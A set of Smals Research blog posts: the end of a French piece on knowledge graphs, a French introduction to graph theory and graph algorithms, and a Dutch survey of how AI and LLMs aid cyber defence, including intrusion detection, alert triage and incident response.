• L’inférence : La capacité à dériver des connaissances via un raisonnement.

Il est donc concentré sur l’intégration et l’enrichissement sémantique des données.

Il va sans dire que cet article ne fait qu’effleurer la surface de la vaste littérature des graphes et leurs applications diverses, et que nombreux points mériteraient un développement plus poussé et feront d’ailleurs sans doute l’objet de futurs articles.

Références

[1] Graph DB vs RDBMS

[2] Sept (bonnes) raisons d’utiliser une Graph Database

[3] Les graphes de connaissance, incontournable pour l’intelligence artificielle

[4] Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret

[5] Ehrlinger, L., & Wöß, W. (2016). Towards a definition of knowledge graphs. SEMANTiCS 2016, 48(1-4), 2.

[6] Abitch, K., (2023). “OWL Reasoners still useable in 2023”

Ce post est une contribution individuelle de Pierre Leleux, data scientist et network data analyst chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.

Grâce à leur capacité à comprendre et exploiter les relations complexes entre les données, les technologies relatives aux graphes ont actuellement le vent en poupe, gagnant en popularité dans de nombreux domaines de l’intelligence artificielle et la gestion de données. Plusieurs articles ont d’ailleurs déjà été postés sur ce blog concernant différentes technologies de graphes, notamment sur les bases de données orientées graphe (graph database) [1, 2, 3] et les graphes de connaissances (knowledge graph) [4, 5, 6].

Mais que recouvre réellement le terme « graphe » ? Entre les modèles mathématiques qui servent de fondation, les bases de données orientées graphe et les graphes de connaissances, il peut être difficile de s’y retrouver et d’identifier les outils adaptés à ses besoins. Ajoutez à cela le fait que travailler sur des données organisées en réseau peut sembler complexe à première vue et que l’utilisation d’algorithmes de graphe ne fait pas partie des compétences de base de la plupart des data engineers et data scientists, et tout cela peut rendre décourageant la création et l’exploitation de données et de modèles de graphes.

Cet article a donc pour objectif de faire le point sur les technologies graphes, en explorant les 3 aspects mentionnés ci-dessus :

• Les graphes d’un point de vue théorique, leurs propriétés, leurs applications principales ;
• Les bases de données orientées graphe, spécialisées dans le stockage et l’exploitation de données connectées ;
• Les graphes de connaissances qui structurent le savoir de manière sémantique.

Le but est donc de présenter ces concepts, les frontières – parfois floues – qui les séparent, ainsi que de mettre en lumière leurs utilisations et les outils et logiciels qui y sont associés.

Cet article est divisé en deux parties. Cette première partie est consacrée aux graphes dans leur forme mathématique fondamentale, comment les encoder et les exploiter, ainsi qu’aux principaux algorithmes et leurs applications. La seconde partie portera sur les bases de données orientées graphe et graphes de connaissances et les outils qui y sont associés.

Retour aux fondamentaux : les graphes en tant que structure mathématique

Avant toute chose, commençons par définir ce qu’est un graphe. Cette base théorique est cruciale car c’est dessus que se construisent les concepts de base de données orientée graphe et de graphe de connaissances. À tout moment, ces concepts plus avancés peuvent être ramenés à leur forme mathématique sous-jacente et, par extension, tous les modèles et algorithmes présentés ci-dessous sont applicables à des bases de données orientées graphe et graphes de connaissances.

Dans sa forme la plus fondamentale, un graphe est une structure mathématique constituée d’un ensemble de nœuds et d’arcs qui joignent des nœuds deux à deux. Les nœuds représentent typiquement des objets ou des personnes, et les arcs représentent des liens entre ces objets ou personnes. Par exemple, dans le cas d’un réseau social, un arc peut représenter un lien d’amitié entre deux utilisateurs.
Le graphe peut être soit dirigé soit non-dirigé. Dans le cas d’un graphe non-dirigé, les relations entre les nœuds sont toujours réciproques (par exemple, un lien d’amitié sur Facebook) alors que dans un graphe dirigé, un arc allant d’un nœud i à un nœud j n’implique pas forcément d’arc de sens opposé (par exemple, un site internet A ayant un hyperlien qui pointe vers un site B).

Suivant la situation ou l’application, un graphe peut aussi être pondéré ou non. Un graphe est dit pondéré lorsqu’un poids est associé à chaque arc, qui varie d’un arc à l’autre, et qui permet de donner plus de « force » à certains arcs. L’interprétation de ces poids dépend du contexte, ces poids peuvent par exemple représenter un degré d’affinité, de similarité, de dépendance, etc.

Un graphe est généralement représenté par une matrice carrée de dimension (n × n), où n est le nombre de nœuds du graphe, appelée matrice d’adjacence (notée A). L’élément en position (i, j) dans la matrice vaut le poids de l’arc allant du nœud i au nœud j s’il existe, et 0 sinon (voir Figure 1). La matrice d’adjacence est simplement une matrice binaire lorsque le graphe n’est pas pondéré.

Dans l’exemple illustratif, il y a un arc de poids 3 allant du nœud 1 au nœud 3, et un arc de poids 5 allant dans le sens inverse. La matrice A contient donc la valeur 3 en position (1,3) et la valeur 5 en position (3,1).

Il est à noter que les matrices d’adjacence contiennent souvent une très large majorité de zéros, et sont donc généralement encodées via des matrices creuses (sparse matrix) afin d’optimiser la mémoire.

Cette représentation d’un graphe sous forme d’une matrice facilite fortement l’utilisation d’algorithmes sur le graphe, car nombre d’algorithmes de graphe, parfois complexes sous forme d’équations, peuvent souvent être résumés à une série d’opérations matricielles élémentaires. Ceci rend leur exécution très efficace dans des langages de programmation scientifiques optimisés pour les calculs matriciels, tels que R, MATLAB, Julia ou Python (numpy, scipy).

Utilisations d’algorithmes de graphe et applications pratiques

Pour mieux comprendre l’intérêt d’un graphe, commençons dans un premier temps par regarder les grandes catégories d’algorithmes de graphe, avec, pour chaque catégorie, quelques exemples d’utilisation pratique de ceux-ci.

• Déterminer le chemin optimal permettant de joindre une paire de nœuds.

Il peut simplement s’agir de minimiser le nombre de transitions nécessaires pour passer d’un nœud à l’autre, ou alors, si un coût est associé à chaque arc, de trouver le chemin associé au coût le plus faible. Le coût peut-être défini en tant que poids d’un arc, ou encodé dans une seconde matrice (matrice de coût, indépendante de la matrice d’adjacence). La façon dont le coût d’un arc est déterminé dépend de l’application, en fonction de ce que l’on souhaite minimiser. Il peut s’agir, par exemple, d’une mesure de longueur de l’arc (telle que la longueur d’une route), une mesure de temps (le temps nécessaire pour franchir l’arc) ou un coût financier. Ce genre d’algorithme peut être utilisé en logistique pour optimiser le transport. Les algorithmes les plus connus en la matière étant les algorithmes de Dijkstra, A*, ou encore l’algorithme de Bellman-Ford.

• Établir des mesures de similarité ou de distance entre des nœuds d’un graphe.

Suivant le contexte, il peut être intéressant d’établir une mesure de similarité entre deux nœuds d’un graphe afin de déterminer à quel point ils sont proches l’un de l’autre. L’utilisation de mesures de similarité est une approche souvent utilisée dans les applications de recommandation. En construisant un graphe de consommation qui lie les utilisateurs aux produits qu’ils ont consommés, mesurer la similarité entre les nœuds permet d’identifier, pour un utilisateur donné, des utilisateurs ayant un profil de consommation similaire, en se basant sur leurs liens avec les produits. Typiquement, un produit sera recommandé à un utilisateur soit parce qu’il a été consommé par de nombreux utilisateurs similaires (user-based recommendation) soit car le produit est similaire à ceux déjà consommés par l’utilisateur (item-based recommendation). Les mesures de similarité les plus connues se basent généralement sur des mesures de voisinage commun (le nombre de voisins en commun que possèdent deux nœuds), telles que l’indice de Jaccard ou la similarité cosinus, mais d’autres méthodes permettent de prendre aussi en compte le voisinage indirect, telles que le kernel de Katz [12] (aussi connu sous le nom de « von Neumann kernel »). Pour voir quelques mesures de similarité classiques et leur utilisation en recommandation, voir [13].

L’opposé d’une mesure de similarité est une mesure de dissimilarité, qui augmente à mesure que les deux nœuds sont différents. Une mesure de distance est, par définition, une dissimilarité, puisqu’elle augmente lorsque deux nœuds sont éloignés. La mesure de dissimilarité la plus connue et la plus intuitive entre deux nœuds est la longueur du plus court chemin qui les sépare.

• Mesurer la centralité.

Une mesure de centralité d’un nœud ou d’un arc, parfois aussi appelée mesure de prestige, sert à quantifier à quel point un nœud ou un arc est important au sein d’un graphe. La mesure de centralité la plus connue est, de loin, le score calculé par l’algorithme PageRank [14]. Initialement développé et utilisé par le moteur de recherche Google pour hiérarchiser les pages web, PageRank se base sur une marche aléatoire sur un graphe où chaque nœud représente une page web et chaque arc dirigé représente un hyperlien entre deux pages. L’algorithme PageRank trouve de nombreuses applications au-delà de la hiérarchisation de pages web :

“Google’s PageRank method was developed to evaluate the importance of web-pages via their link structure. The mathematics of PageRank, however, are entirely general and apply to any graph or network in any domain. Thus, PageRank is now regularly used in bibliometrics, social and information network analysis, and for link prediction and recommendation. It’s even used for systems analysis of road networks, as well as biology, chemistry, neuroscience, and physics.” – Gleich (2014) [15]

Un autre algorithme très connu, similaire à PageRank, est l’algorithme HITS (Hyperlink-Induced Topic Search) [16].

Lorsque l’on parle de centralité, PageRank est souvent l’algorithme présenté, cependant, la centralité peut se comprendre de plusieurs manières. Il peut par exemple s’agir d’un nœud ou d’un arc constituant un intermédiaire critique pour la communication et la transmission d’information au sein du réseau. Repérer des nœuds centraux peut par exemple permettre d’optimiser la diffusion d’information dans un réseau ou de détecter des nœuds ou des arcs vitaux au graphe (dont la disparition nuirait fortement à la transmission d’information dans le graphe). Des mesures fréquentes de centralité de nœuds ou d’arcs se basant sur ce principe utilisent généralement des mesures « d’intermédiarité » (betweenness centrality).

La centralité peut aussi se comprendre comme la mesure de la représentativité d’un nœud au sein d’une communauté (en termes de proximité vis-à-vis des autres nœuds du graphe), se mesurant ici plutôt avec une mesure de proximité (closeness centrality). Il est à noter que nous avons déjà mentionné l’utilisation de différents algorithmes de centralité dans un cadre de détection de fraude dans des articles de blog précédents, notamment PageRank (sous forme d’un algorithme de diffusion) [7] et la betweenness centrality [8].

• Partitionner le graphe.

Plus connu sous le nom de « clustering », le partitionnement de graphe consiste à regrouper des nœuds en communautés (clusters) tels que les nœuds au sein d’une communauté sont « similaires » et deux nœuds appartenant à des communautés différentes sont dissimilaires. Ce partitionnement peut se faire de plusieurs manières. Par exemple en utilisant une mesure de similarité ou de dissimilarité entre les nœuds du graphe, puis en exécutant un algorithme de clustering tel que le k-médoïdes sur base de ces (dis-)similarités.

Ou alors, en travaillant directement sur le graphe en cherchant à détecter des zones denses dans celui-ci. Cela peut se faire via de la propagation de label [17], ou via l’optimisation d’une fonction objectif mesurant la qualité du partitionnement, telle que la modularité. L’algorithme d’optimisation de la modularité le plus célèbre est la méthode de Louvain [18].

Nous avions déjà mentionné l’utilisation des méthodes de partitionnement de graphes dans plusieurs articles de blog [9, 10], ces algorithmes sont utilisés notamment en communication et marketing afin de pouvoir réaliser des annonces ciblées.

• Extraire des caractéristiques ou des représentations.

Une des limites des modèles de machine learning classique est qu’ils considèrent uniquement les données (variables continues et catégorielles) relatives aux observations, et ignorent l’information qui pourrait être tirée des relations entre les observations. Si des relations existent entre ces données, un graphe peut être construit, et les modèles de machine learning peuvent être enrichis via l’ajout de nouvelles variables extraites du graphe (il y a aussi un article de blog à ce sujet [11]). Ces nouvelles variables peuvent par exemple être une mesure de centralité (variable continue) ou le résultat d’un partitionnement (variable catégorielle), ou encore être obtenues via des méthodes de graph embedding (variables continues). Le graph embedding vise à obtenir une représentation des nœuds dans un espace multidimensionnel. Cet espace est calculé de sorte que, si deux nœuds sont proches dans le graphe, ils le seront aussi dans cet espace. Cet espace peut par exemple s’obtenir via des méthodes travaillant directement sur le graphe (node2vec [19], fastRP [20]) ou en travaillant sur base de similarités (kernelPCA [21]) ou de distances (t-SNE [22]) par exemple. Voir Figure 3 pour un exemple de représentation en 2 dimensions d’un graphe pondéré simple.

• Prédire des liens.

Le concept de prédiction de lien est relativement explicite, il s’agit d’estimer la probabilité qu’un lien existe entre 2 nœuds. Cela permet de détecter des potentiels arcs manquants (graphe incomplet), ou de prédire l’apparition de nouveaux arcs. Les algorithmes de recommandations sont un exemple courant de prédiction de lien utilisateur-produit, mais ces algorithmes peuvent aussi servir à détecter des potentielles interactions encore inconnues à l’intérieur de réseaux biologiques. Ce genre de prédiction se fait souvent via des méthodes basées sur des similarités entre nœuds, de la factorisation matricielle, des modèles probabilistes ou des réseaux de neurones artificiels [23].

Quels outils ?

Comme mentionné précédemment, la représentation de graphes sous forme matricielle permet de les exploiter de façon efficace via des langages de programmation scientifiques. Cependant, il existe aussi des librairies ou logiciels permettant de créer et exploiter des données de graphe.

Voici quelques exemples de librairies dédiées au travail sur les graphes. Ces librairies permettent de créer un objet graphe, qui peut être construit de plusieurs manières. Il peut être construit à vide, avant d’y ajouter manuellement des nœuds et des arcs, ou alors à partir d’une matrice d’adjacence ou d’une liste d’arcs, ou bien encore directement depuis des fichiers contenant une description du graphe sous la forme d’une liste de nœuds et d’arcs. Quelques exemples de librairies orientées graphe incluent igraph, networkx, graph-tool ou networkit pour Python, igraph pour R et Graphs pour Julia.

Pour un utilisateur ayant déjà des connaissances dans l’un de ces langages, ces libraires ont l’avantage d’être intuitives et faciles à prendre en main, et contiennent de nombreux algorithmes de graphe pré-implémentés.

Il existe aussi de nombreux logiciels prévus pour l’analyse du contenu de bases de données orientées graphe, tels que Gephi ou Cytoscape (pour une liste plus détaillée, nous vous invitons à vous référer à l’un de nos précédents articles sur le sujet : [3]). Il s’agit bien de logiciels créés pour des analyses ponctuelles ou des explorations visuelles des relations dans des ensembles de données, mais qui ne sont pas conçus pour intégrer et gérer de grandes quantités de données de manière continue comme le ferait une base de données orientée graphe.

Conclusion

Dans la première partie de cet article dédié aux différentes technologies basées sur les graphes, nous avons fait une rapide présentation de la théorie des graphes, ainsi que des principaux algorithmes de graphe et leurs applications. La seconde partie se penchera sur les bases de données orientées graphe et les graphes de connaissances, les différences entre ces concepts ainsi que les outils qui y sont associés.

Références

Quelques articles de blog Smals Research concernant les graphes :

[1] Graph DB vs RDBMS

[2] Sept (bonnes) raisons d’utiliser une Graph Database

[3] Explorer une base de données orientée graphes

[4] Les graphes de connaissance, incontournable pour l’intelligence artificielle

[5] Les graphes de connaissance : quelques applications

[6] Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret

[7] Un fraudeur ne fraude jamais seul

[8] Un fraudeur ne fraude jamais seul, partie 2

[9] Ce qu’un réseau social peut nous apprendre

[10] Facebook : peut-on vraiment cacher sa liste d’amis ?

[11] Améliorer le Machine Learning avec des données graphes

Sources scientifiques :

[12] Katz, L. (1953). A new status index derived from sociometric analysis. Psychometrika, 18(1), 39-43.

[13] Fouss, F., Pirotte, A., Renders, J. M., & Saerens, M. (2007). Random-walk computation of similarities between nodes of a graph with application to collaborative recommendation. IEEE Transactions on knowledge and data engineering, 19(3), 355-369.

[14] Page, L., Brin, S., Motwani, R., & Winograd, T. (1998). The pagerank citation ranking: Bringing order to the web. Technical report, Stanford Digital Libraries.

[15] Gleich, D. F. (2015). PageRank beyond the web. siam REVIEW, 57(3), 321-363.

[16] Kleinberg, J. M. (1999). Authoritative sources in a hyperlinked environment. Journal of the ACM (JACM), 46(5), 604-632.

[17] Raghavan, U. N., Albert, R., & Kumara, S. (2007). Near linear time algorithm to detect community structures in large-scale networks. Physical Review E—Statistical, Nonlinear, and Soft Matter Physics, 76(3), 036106.

[18] Blondel, V. D., Guillaume, J. L., Lambiotte, R., & Lefebvre, E. (2008). Fast unfolding of communities in large networks. Journal of statistical mechanics: theory and experiment, 2008(10), P10008.

[19] Grover, A., & Leskovec, J. (2016). node2vec: Scalable feature learning for networks. In Proceedings of the 22nd ACM SIGKDD international conference on Knowledge discovery and data mining (pp. 855-864).

[20] Chen, H., Sultan, S. F., Tian, Y., Chen, M., & Skiena, S. (2019, November). Fast and accurate network embeddings via very sparse random projection. In Proceedings of the 28th ACM international conference on information and knowledge management (pp. 399-408).

[21] Schölkopf, B., & Smola, A. J. (2002). Learning with kernels: support vector machines, regularization, optimization, and beyond.

[22] Van der Maaten, L., & Hinton, G. (2008). Visualizing data using t-SNE. Journal of machine learning research, 9(11).

[23] Lü, L., & Zhou, T. (2011). Link prediction in complex networks: A survey. Physica A: statistical mechanics and its applications, 390(6), 1150-1170.

Ce post est une contribution individuelle de Pierre Leleux, data scientist et network data analyst chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.

In een vorig artikel hebben we kort uitgelegd wat er achter de term ‘artificiële intelligentie’ schuilgaat door enkele basistechnieken te beschrijven die worden gebruikt in cybersecurity. In een tweede artikel hebben we een kijkje genomen naar het gebruik van AI om aanvallen op computersystemen te vergemakkelijken. We hebben in het bijzonder beschreven hoe AI verschillende aanvalsvectoren kan wijzigen of al wijzigt.

In het laatste artikel van deze serie bespreken we, na enkele algemene overwegingen, gebieden van cyberdefensie die baat hebben of zouden kunnen hebben bij AI, zoals intelligentie over cyberaanvallen, detectie en identificatie van cyberaanvallen en reactie op cybersecurity incidenten.

Inleiding

Al in 2018 meende Schneier [1] dat cyberdefensie meer zou profiteren van AI-technieken dan cyberaanval, omdat defensie volgens hem in een slechtere positie verkeert dan aanval, juist vanwege de grote menselijke componenten. Bovendien voorspelde hij dat tegenstanders hun aanvalsstrategie zouden blijven verbeteren door middel van automatisering, zodat de enige effectieve manier om deze aanvallen op machinesnelheid te verzwakken zou zijn door middel van automatisering. Deze stelling wordt ook verdedigd door Sarker et al. [2] die stellen dat AI een revolutie teweeg kan brengen op het gebied van cybersecurity, niet alleen door op grote schaal taken te automatiseren, maar ook door menselijke experts te helpen een situatie beter te begrijpen en beslissingen te nemen in echte scenario’s.

Het adviesbureau Gartner verwacht dat AI zal bijdragen aan een vermindering van 30% van het percentage vals-positieven bij het testen van toepassingen en het opsporen van bedreigingen voor 2027 [3]. De nieuwe tools die onlangs zijn aangekondigd door toonaangevende bedrijven in de markt, waaronder CrowdStrike, zouden volgens Gartner inderdaad kunnen helpen om de productiviteit en vaardigheden van beheerders te verbeteren. Er is geen tekort aan ideeën, maar zoals de auteurs van de nota van het adviesbureau aangeven, bestaan de zoek- en analysefunctionaliteiten al, en wat nieuw is, is in wezen de interactiviteit tussen de menselijke analisten en de machine.

Taddeo et al. [4] temperen de hype in AI voor cyberdefensie door erop te wijzen dat het vertrouwen in AI voor de robuustheid, veerkracht en respons van cybersecuritysystemen onterecht is en dringen erop aan dat een vorm van controle noodzakelijk is om beveiligingsrisico’s te beperken. De auteurs gebruiken de term vertrouwen in zijn puurste betekenis: een beslissing om te delegeren, zonder enige vorm van controle of toezicht, een acceptatie van een risico op afhankelijkheid. Ze wijzen op het gebrek aan transparantie van AI en de evolutie van een AI-systeem in de tijd als belangrijke beperkingen en bevelen in het bijzonder een “in-house” implementatie aan voor kritieke nationale infrastructuren en voortdurende monitoring van het AI-systeem en de evolutie ervan.

Dasgupta et al. [5] hebben de meeste recente publicaties over het gebruik van AI op het gebied van cybersecurity beoordeeld. Volgens hen blijft een cruciaal punt de prestaties (in termen van reactiesnelheid, maar ook vermindering van het aantal fout-positieven en fout-negatieven) van detectietools, die grote gevolgen kunnen hebben voor het systeem waarin ze worden ingezet.

In de volgende paragrafen gaan we dieper in op verschillende gebieden van cyberdefensie die baat kunnen hebben bij AI.

Intelligentie over cyberaanvallen

Inlichtingen over cyberbedreigingen is het proces van het verzamelen, analyseren en verspreiden van informatie over huidige en opkomende cyberbedreigingen, zoals actoren, doelwitten, technieken, tools, enz. Deze informatie kan organisaties helpen zich proactief te verdedigen tegen cyberaanvallen door beveiligingsteams tijdig van bruikbare informatie te voorzien.

Tegenwoordig wordt Open Source Intelligence (OSINT) op grote schaal gebruikt door overheden en inlichtingendiensten om cybercriminaliteit te onderzoeken en te bestrijden [6]. Het hoofddoel van het Europese DiSIEM-project¹ was om verschillende bronnen van OSINT-gegevens te integreren in SIEM-systemen (Security Information and Event Management) om te helpen reageren op nieuw ontdekte kwetsbaarheden in de infrastructuur of zelfs om mogelijke opkomende bedreigingen te voorspellen².

In principe zou een Large Language Model (LLM) getraind op grote gegevensbronnen zoals webfora, gespecialiseerde websites over kwetsbaarheden en incidenten, of sociale netwerken kunnen worden gebruikt om inlichtingenrapporten over cyberdreigingen te genereren. LLM’s zouden gebruikt kunnen worden om sneller toegang te krijgen tot technische documentatie en inlichtingen uit gespecialiseerde bronnen. Sewak et al. [8] beweren dat LLM’s automatisch informatie uit verschillende bronnen kunnen extraheren, valideren en samenvatten, zoals dreigingsrapporten, literatuur, scripts enz. Ze wijzen er met name op dat LLM’s kwaadaardige bedoelingen in scripts kunnen identificeren. Hun aanpak is in staat om meer dan 90%³ van de scripts te ontdekken die daadwerkelijk kwaadaardig zijn in een detectietaak.

Detectie en identificatie van cyberaanvallen

AI kan een rol spelen bij de detectie en identificatie van cyberaanvallen door inbraak- en malwaredetectiesystemen te verbeteren en waarschuwingen effectiever te beheren.

Inbraakdetectie

Volgens NIST [9] verwijst een inbraakdetectiesysteem (IDS) naar “het proces waarbij gebeurtenissen in een computersysteem of netwerk worden gemonitord en geanalyseerd op tekenen van mogelijke incidenten.” Hoewel vroege ontwikkelingen van zulke systemen zich richtten op benaderingen die gebaseerd waren op handtekeningen, publiceerde Denning in 1986 een IDS-model [10] gebaseerd op anomaliedetectie⁴ dat vandaag de dag nog steeds de basis vormt van veel systemen. Het belangrijkste voordeel van anomaliedetectiemethoden is dat ze soorten incidenten kunnen detecteren die nog niet eerder zijn gezien. Vandaag de dag zijn het unsupervised machine learning methoden die vaak gebruikt worden voor anomaliedetectie: netwerkactiviteit wordt vergeleken met een vooraf getrainde en genormaliseerde baseline van normaal gedrag, waardoor het systeem onbekende kwaadaardige activiteit kan detecteren, in tegenstelling tot handtekeningmethoden.

Een benadering is om een artificieel neuraal netwerk te trainen om te leren of netwerkverkeer normaal is of overeenkomt met een klasse van aanvallen. In de praktijk gaat dit als volgt:

1. Een expert verzamelt een dataset met zowel normaal netwerkverkeer als aanvallen.
2. Op een zeer krachtige machine wordt een neuraal netwerk getraind om het verschil tussen normaal verkeer en aanvalsverkeer te classificeren.
3. Een kopie van het in de vorige stap geleerde model wordt overgebracht naar het operationele inbraakdetectiesysteem van de organisatie.
4. Het inbraakdetectiesysteem past het model toe op het waargenomen netwerkverkeer.

Er zijn veel leermethoden om uit te kiezen, maar volgens Appruzzese et al. [11], zijn unsupervised leermethoden bijzonder populair voor inbraakdetectiesystemen op communicatienetwerken vanwege de moeilijkheid en de kosten om gelabelde gegevens te verkrijgen. Bovendien is volgens deze auteurs de superioriteit van deep learning-netwerken voor inbraakdetectie in vergelijking met andere AI-technieken niet bewezen en rechtvaardigen de complexiteit en extra computerkosten niet noodzakelijk hun toepassing.

Hier volgen enkele voorbeelden van het gebruik van unsupervised technieken die worden gebruikt voor inbraakdetectie:

• Bohara et al. [12] gebruiken verschillende anomaliedetectietechnieken, waaronder Principal Component Analysis (PCA), partitionering in -means en outlier-detectie op basis van de absolute mediaanafwijking om laterale⁵ bewegingen in een netwerk te detecteren. De auteurs behaalden een true positive rate (TPR) van 88,7% en een false positive rate (FPR) van 14,1%.
• In [13], presenteren de auteurs een methode voor het automatisch genereren van een grijze lijst van externe hosts die een hoge waarschijnlijkheid hebben om betrokken te zijn bij kwaadaardige taggingactiviteiten in verhouding tot de set van alle externe hosts waarmee de beschermde organisatie doorgaans contact opneemt. Hun voorstel is gebaseerd op clusteringstechnieken die worden toegepast op netwerkstromen.
• Om het probleem van onevenwichtigheid tussen het aantal positieve en negatieve samples in inbraaklogs (doorgaans is er zeer weinig kwaadaardig verkeer in vergelijking met legitiem verkeer) aan te pakken, gebruiken Yang et al. [14] een Deep Convolutional Generative Adversarial Network (DCGAN) om een realtime inbraakdetectiesysteem te bouwen. DCGAN houdt een balans tussen positieve en negatieve samples door nieuwe synthetische data te genereren. Om realtime analyse mogelijk te maken, gebruiken de auteurs Gates Recurrent Units (GRU), die efficiënter zijn dan een Long and Short Term Memory (LSTM) recurrent netwerk omdat ze minder parameters gebruiken. Het systeem bereikt een nauwkeurigheid van 99,73%.

Tot slot zijn er ook tools op basis van LLM’s verschenen voor inbraakdetectie. De PentestGPT⁶ tool is bijvoorbeeld een door LLM (in dit geval ChatGPT-4) geoptimaliseerde tool voor het testen van inbraken  die het testen van inbraken automatiseert door testers door de algemene werking en specifieke bewerkingen te leiden. PentestGPT is met succes getest op HackTheBox⁷ en via verschillende Capture the Flag (CTF)-competities op eenvoudige en gemiddelde niveaus.

Malware detecteren

Machine learning kan worden gebruikt voor zowel statische als dynamische analyse van malware. Statische analyse is echter onderhevig aan relatief eenvoudige workarounds door de executable aan te passen zonder de onderliggende logica te veranderen of met meer geavanceerde varianten (bijv. polymorfisme) die de executable automatisch aanpassen.

Dynamische analyse in combinatie met machine learning is effectiever [11]. Maar er zijn verschillende beperkingen voor de toepasbaarheid van de nieuwste academische ontwikkelingen op het gebied van machine learning voor de detectie van malware [15], waaronder:

• Misinterpretatie van de prestatiemeting, deels door het vergeten van de basisfrequentie – een cognitieve bias gekoppeld aan statistische wetten ⁸;
• Testdatabases zijn vaak enkele jaren oud en houden daarom geen rekening met de nieuwe bypassmethoden die worden geïmplementeerd door tegenstanders, of met de nieuwe programmeerinterfaces die beschikbaar zijn. Volgens [16], maakt een groot aantal recente onderzoeken naar federated learning voor inbraakdetectie nog steeds gebruik van publieke databases die voor 2017 zijn gemaakt, en dus met aanvallen die niet noodzakelijk de huidige communicatienetwerken weerspiegelen.

Alert management

Het sorteren van beveiligingsalerts is een relatief tijdrovende taak, maar het kan worden versneld door contextuele informatie beschikbaar te maken voor analisten, zodat ze niet van de ene logging- of analysetool naar de andere hoeven te springen om te begrijpen wat er aan de hand is. Bijvoorbeeld: geolocatie van een IP-adres, naam van de organisatie die het IP beheert, leeftijd van het domein, reputatie van de hashwaarde van een bestand, type van het overeenkomstige bestand, automatische schermafbeelding van een URL, informatie over de host en zijn omgeving, enz. Deze alerts kunnen ook direct worden verrijkt door een LLM (bijv. categorisering, information issue van gespecialiseerde inlichtingendiensten, risicoscore).

Daarnaast kunnen machine-learningtechnieken worden gebruikt om waarschuwingen te filteren, te sorteren, te prioriteren en te aggregeren om triage en incidentrespons te vergemakkelijken. Su et al. [17] stellen bijvoorbeeld een methode voor om fout-positieve filtering te automatiseren met behulp van kernel density estimation (KDE)⁹. Volgens de auteurs vermindert dit de tijd die nodig is om alerts te controleren met 75%.

Reageren op cybersecurityincidenten

De reactie op incidenten is een belangrijk onderdeel van de cybersecuritystrategie van een organisatie. Een goed voorbereide reactie kan de schade van een veiligheidsinbreuk of een cyberaanval helpen beperken. De snelheid en nauwkeurigheid van deze reacties is echter van het grootste belang. LLM’s kunnen helpen deze processen te versnellen en te stroomlijnen, door geautomatiseerde reacties te geven en zelfs te helpen bij het ontwikkelen van incident response plannen. Een van de kenmerken van de LLM-architectuur is de mogelijkheid om natuurlijke, contextgebaseerde tekst te genereren. Dit kan worden gebruikt om een AI-gestuurde assistent voor incidentrespons te maken, die tijdens een incident direct advies kan geven en gebeurtenissen automatisch kan documenteren terwijl ze zich voordoen. PaloAlto XSOAR¹⁰ gebruikt bijvoorbeeld ChatGPT om handleidingen te genereren voor het omgaan met bepaalde aanvallen (zie Figuur 1).

Figuur 1 – Door XSOAR voorgestelde informatie om een reactie op een beveiligingsincident te beheren (uit [18]).

Ferrag et al. [19] gebruiken FalconLLM¹¹ om de ernst en potentiële impact te analyseren van een aanval die is geïdentificeerd door een inbraakdetectiesysteem door deze te vergelijken met de interne database. Op een vergelijkbare manier als PaloAlto XSOAR kan de tool ook suggesties doen voor mogelijke mitigatiestrategieën en herstelprocedures, die als leidraad kunnen dienen voor een responsteam. De voorgestelde antwoorden blijven echter erg algemeen en zijn mogelijk niet bruikbaar voor een ervaren beheerder (zie Figuur 2).

Figuur 2 – voorbeeld van een door FalconLLM voorgestelde risicobeperkende strategie (bron [19]).

Generatieve AI kan ook worden gebruikt om bepaalde aspecten van de analyse van cyberincidenten door analisten in een veiligheidsoperatiecentrum te automatiseren. Volgens A. Krishnan [20] kan ChatGPT bijvoorbeeld worden gebruikt om te beschrijven wat een Powershellscript doet (zie voorbeeld in bijlage). Op dezelfde manier zouden deze tools, omdat ze ook code kunnen genereren, gebruikt kunnen worden om het voor analisten eenvoudiger te maken om loganalysescripts te schrijven (zie bijlage).

De automatisering van de incidentrespons wordt ook overwogen, maar een groot probleem blijft de toewijzing van de verantwoordelijkheid. Dit wordt nog bemoeilijkt door het feit dat AI-systemen tot nu toe niet erg transparant en moeilijk uit te leggen zijn.

Tot slot spelen gedetailleerde rapporten over cybersecurity-incidenten een belangrijke rol bij het helpen van belangrijke stakeholders, waaronder operationele beveiligingsteams en beveiligingsmanagers, om de beveiligingshuishouding van een organisatie beter te begrijpen en te verbeteren. Sommigen overwegen het gebruik van generatieve AI om logs van incidenten te synthetiseren en rapporten te schrijven om sneller actie te kunnen ondernemen.

Veilig code genereren

Kwetsbaarheden in code zijn een terugkerend probleem dat de meeste software treft en een impact heeft op integriteit, vertrouwelijkheid en beschikbaarheid. Er wordt aangeraden om bepaalde programmeertalen te gebruiken waarvan bekend is dat ze minder gevoelig zijn voor klassieke problemen dan andere (bijv. Rust in plaats van C). Code review door andere expertprogrammeurs is ook een veelgebruikte methode.

Maar de analyse van Ganseman [21] roept de vraag op of LLM’s nuttig zijn om fouten of bugs in bestaande code op te sporen of om te helpen veiligere code te schrijven. De moeilijkheid ligt in het feit dat het voorlopig nodig is om de mogelijke plaatsen aan te geven waar de code niet veilig is, dat wil zeggen dat het aan de ontwikkelaar is om te detecteren waar een verbetering mogelijk is. Het kan zijn dat in de nabije toekomst een hele code base aan een security review kan worden onderworpen, maar op dit moment is dit beperkt tot de lengte van de context en hoe preciezer de vraag, hoe beter het antwoord.

Paradoxaal genoeg rapporteerden Perry et al. [22] in een recent onderzoek dat, hoewel assistenten de productiviteit van ontwikkelaars verhogen, deelnemers met toegang tot een assistent gebaseerd op een AI-model (in dit geval OpenAI’s codex-davinci-002) significant minder veilige code schreven dan degenen zonder toegang. Erger nog, deelnemers met toegang tot de assistent geloofden vaker dat ze veilige code schreven dan deelnemers zonder toegang. Het gebruik van wizards vereist daarom de implementatie van systematische codecontrole en statische analyse [21].

Conclusie

Hoewel AI op veel gebieden bliksemsnelle vooruitgang boekt, is de niet te verwaarlozen bijdrage ervan aan de verdediging van IT-systemen nog steeds beperkt: we zijn nog ver verwijderd van tools waarmee het voldoende zou zijn om terabytes aan eventlogs aan te bieden om tekenen van inbraak snel en met weinig fouten te detecteren.

